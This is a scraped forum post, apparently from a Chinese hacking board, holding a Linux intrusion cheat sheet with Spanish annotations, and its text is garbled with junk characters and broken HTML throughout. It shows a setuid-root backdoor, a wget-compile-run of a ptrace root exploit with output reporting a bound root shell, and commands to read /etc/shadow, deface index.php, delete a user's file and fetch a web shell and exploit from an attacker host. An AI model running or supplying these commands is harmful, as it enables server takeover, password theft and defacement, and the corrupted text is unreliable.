- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< ><FONT color=#ff0000>by:cnbird</FONT></P>: A0 O! X* p5 j" P% ?7 Y4 U5 l- G
< >1.</P>/ z" L3 j/ X+ p9 ?( ] `
< >[cnbird@localhost tmp]#id</P>6 W. V" a9 q2 Z. R) X3 h
< >uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
3 ]! Q1 w3 G8 c6 w/ \& u5 u< >[cnbird@localhost tmp]#cp `which id ` .</P>
7 D$ p2 }& [- _8 l< >[cnbird@localhost tmp]#chown root ./id</P>
9 p- q1 X/ @% P3 |& O! x< >[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P># Z. m: R% U0 n
< >[cnbird@localhost tmp]#ls -l ./id</P> d7 f9 ^. w2 C/ N
< >-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
; Q6 W# j# [% x! i2 L' Q< >[cnbird@localhost tmp]#exit</P>, F2 B7 d& c: V
< >[cnbird@localhost tmp]$id</P>
1 l9 C. K. S; H, q. v* B< >uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
0 t4 I+ E9 _3 P4 U( Z3 n2 Z4 _/ q( y< >[cnbird@localhost tmp]$./id </P>
" a4 ^; i3 J. l) G* H7 a( Q< >uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
( U. S$ U' O1 U; n& f< >2.利用ptrace成为root的方法</P>( `* d5 w% D3 X+ z& Y6 u/ G' m3 C
< >[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
" J5 u0 [' `" R, V) O8 k-> Parent's PID is 2313. Child's PID is 2314.
2 A! B+ Y+ a# @, M; `-> Attaching to 2315...+ U( \) _- p6 x3 X$ |
-> Got the thread!!! U" P1 _3 B# j' Y1 `6 b( _
-> Waiting for the next signal...
. W0 g+ |& W7 W. N-> Injecting shellcode at 0x4000e85d
: R8 u: h9 I* `* q* r-> Bind root shell on port 24876... =p! y7 G$ Q# ?3 `/ Z5 ]
-> Detached from modprobe thread.6 C* z. ?2 S v! U2 U
-> Committing suicide.....</P> r( p* q9 K- F! M
< >[bash]# id; r$ T5 v4 J4 X: l8 o/ U+ P
uid=0(root) gid=0(root) groups=0(root)</P>
$ p. j5 I% a8 s: J* U< > ara ver los dominios que hay en el server:9 U# b2 F9 N/ f( C" w8 y8 k: b
---------------------------------------------------------2 S* Q0 A/ Q1 r0 R, x- l* b$ p* A- D
cat /etc/httpd/conf/httpd.conf|grep ServerName << Solo salen los dominios% h* Z* y4 q z; s0 j" {
cat /etc/httpd/conf/httpd.conf << Unicamente los puros dominios
' N6 [' D& d- M, ccat /etc/localdomains << Unicamente los dominios locales
! o3 ^- Q; e' ccat /etc/trueuserdomains << Revela los verdades propietarios de cada dominio
$ X: K# R# ^* ]2 k3 ucat /etc/userdomains << Este es el mas comun
0 H9 Q; R* y6 o* r! Z---------------------------------------------------------</P>
3 L; u1 ^. _, Y* R3 _% z< > ara ver la version de kernel:, Y* d, L0 I: H6 W, d2 }7 y+ U
---------------------------------------------------------' F) k/ x' q7 G9 u& ^- G
uname -a <<Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
& `4 w% b- l- D0 q+ D---------------------------------------------------------</P>
2 @8 f; J, _( M/ {5 ^< > ara modificar un index ya existente:
r8 H* V4 d0 K( H4 e- ~6 `7 i---------------------------------------------------------
( J$ \' ~; k% Y3 P* i& s# Uecho "RootBox was OwNz You">index.php <<sobreescribe el archivo index.php con nuevo contenido
5 w: m8 ]2 d. V7 A---------------------------------------------------------</P>
+ G: X& e8 y' R# _' J: @ S) s< > ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:% i" M! V8 z( B5 K3 z
---------------------------------------------------------% D1 Q1 f1 p. Y
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> <<aqui subimos el exploit
" \+ l" h& x' x ~cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado" # m3 K7 u* @" R f. N, j9 I% x
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
6 U- e- y8 r4 U. T/ E Ucd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". , q) i4 D* X, i) o: E( @
Hasta aqui termina el proceso para un exploit.* y% `- B% c9 `0 F1 u: r; o c
---------------------------------------------------------</P>; B3 r% a, p# {% f1 W6 i' ]7 C
< >Ver las contraseñas encriptadas de todos los usuarios:. G& \0 ^; r4 w) c. f; c
---------------------------------------------------------
- i+ I" P6 P( h* _2 Hcat /etc/shadow <<Solo funciona si tienes permisos como root.
) M- g) m# N3 t; h---------------------------------------------------------</P>
9 f- t" g! {! h, G9 i0 t0 [< >Borrar un Ficher+ n* l+ [6 G/ b. I# x1 G
---------------------------------------------------------
' E, W+ |3 N2 d- H* K0 T" Jcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm<<aqui estan borrando con el comando rm, el fichero import.htm
7 B' O1 w" t! Z3 O---------------------------------------------------------</P>
6 S1 }) ]3 [; a" {* }8 [< >Subir un ficher& E8 G# ^ X+ {5 B# l& I
---------------------------------------------------------* ]6 I1 G$ R: A$ j' @
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php<<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php<<Estamos</FONT></A> subiendo el fichero shell.php</P>" z! K: j. }- k4 ], v$ e! h
< >
4 w/ f6 @! S! b. B7 H<CENTER></CENTER> |
zan
|